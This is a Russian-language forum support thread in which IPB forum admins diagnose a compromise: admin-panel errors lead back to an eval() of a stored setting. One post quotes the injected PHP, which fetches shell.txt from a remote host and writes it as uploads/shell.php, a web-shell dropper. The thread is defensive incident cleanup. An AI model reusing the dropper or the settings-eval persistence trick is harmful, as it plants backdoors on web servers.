Взлом через системные настройки

[taren]

вылазит ошибка когда захожу в админ центре в НАСРОЙКИ -> Темы, Сообщения и Опросы

когда туда заходишь вот такое выдает где это может быть ... и где поправить

 

IPB Ïðåäóïðåæäåíèå [2] fopen(http://site.ru/shell.txt) [function.fopen]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found (Ñòðîêà: 3 ôàéëà /sources/action_admin/settings.php(1474) : eval()'d code)

IPB Ïðåäóïðåæäåíèå [2] fopen(/usr/home/www/site/public_html/forum/uploads/shell.php) [function.fopen]: failed to open stream: No such file or directory (Ñòðîêà: 4 ôàéëà /sources/action_admin/settings.php(1474) : eval()'d code)

IPB Ïðåäóïðåæäåíèå [2] feof(): supplied argument is not a valid stream resource (Ñòðîêà: 5 ôàéëà /sources/action_admin/settings.php(1474) : eval()'d code)

IPB Ïðåäóïðåæäåíèå [2] fgets(): supplied argument is not a valid stream resource (Ñòðîêà: 6 ôàéëà /sources/action_admin/settings.php(1474) : eval()'d code)

IPB Ïðåäóïðåæäåíèå [2] feof(): supplied argument is not a valid stream resource (Ñòðîêà: 5 ôàéëà /sources/action_admin/settings.php(1474) : eval()'d code)

IPB Ïðåäóïðåæäåíèå [2] fgets(): supplied argument is not a valid stream resource (Ñòðîêà: 6 ôàéëà /sources/action_admin/settings.php(1474) : eval()'d code)

IPB Ïðåäóïðåæäåíèå [2] feof(): supplied argument is not a valid stream resource (Ñòðîêà: 5 ôàéëà /sources/action_admin/settings.php(1474) : eval()'d code)

 

вот такая вот беда ... помогите если можите !

[Arhar]

меняй нуль))

 

shell.php

[taren]

что менять... ну обьясните нормально ...

[Arhar]

дистрибутив целиком

ну или приведи сюда строчки с 1464 по 1484 из /sources/action_admin/settings.php

[taren]

$revert_button = "<div style='width:auto;float:right;padding-top:2px;'><a href='{$this->ipsclass->base_url}&section=tools&code=op&code=setting_revert&id={$r['conf_id']}&conf_group={$r['conf_group']}&search={$this->ipsclass->input['search']}' title='Âåðíóòü çíà÷åíèå ïî óìîë÷àíèþ'><img src='{$this->ipsclass->skin_url}/images/te_revert.gif' alt='X' border='0' /></a></div>";

}

 

//-----------------------------------------

// Evil eval

//-----------------------------------------

 

if ( $r['conf_evalphp'] )

{

$show = 1;

eval( $r['conf_evalphp'] );

}

 

switch( $r['conf_type'] )

{

case 'input':

$form_element = $this->ipsclass->adskin->form_input( $key, str_replace( "'", "'", $value ) );

break;

 

case 'textarea':

$form_element = $this->ipsclass->adskin->form_textarea( $key, $value, 45, 5 );

[Arhar]

хорошо, тогда

SELECT * FROM ibf_conf_settings WHERE conf_evalphp>''

и найти какая именно настройка содержит команду fopen

[taren]

conf_id: 254

 

conf_title: IPB

 

conf_group: 16

 

conf_type: input

 

conf_evalphp:

 

$linky="http://site.ru/shell.txt";<b

r

/> $saved="/usr/home/www/site/public_html

/forum/uploads/shell.php";<br

/> $from=fopen("$linky","r"

;<br

/> $to=fopen("$saved","w")

;<br /> while(!feof($from)){<br />

$string=fgets($from...

 

 

Ну и еще там есть несколько подобных ... с подобными ссылками ... ниже

[Arhar]

поломали тебя имхо серьезно

[taren]

ого ... млин ... а что же делать

[Another-x]

Бекапы )

[taren]

как хоть поченить то что есть сейчас... может базу почитить от этой фигни

[Arhar]

ничего не починить

там мало-ли еще чего

меняй дистрибутив

тчк

[taren]

версия 2.1.6 круто ......

 

Arhar Спасибки большое что помог разобраться хоть с чем проблема

[sams]

Такая же беда, дистрибутив сменил, но похоже все это хозяйство осталось в базе. При нажатии на "темы, опросы" - лезет та же лажа. Есть варианты?

[Sannis]

Взломали вас, нужно прочищать настройки.

[sams]

IPB Предупреждение [2] fopen() [function.fopen]: URL file-access is disabled in the server configuration (Строка: 3 файла /sources/action_admin/settings.php(1474) : eval()'d code)

Хостер отвечает: ""для fopen() у нас URL закрыто..."

Как мне удалить все это хозяйство.

Изменено 9 Марта 2008 пользователем sams

[Sannis]

Найти кого-нибудь, кто посмотрит и определит какая из настроек "заражена". Можно в КЦ или в другие места обратиться.

[sams]

ВСе разобрался, спасибо Arhar - по запросу выковырял из базы всю эту гадость. Sannis спасибо за помощь.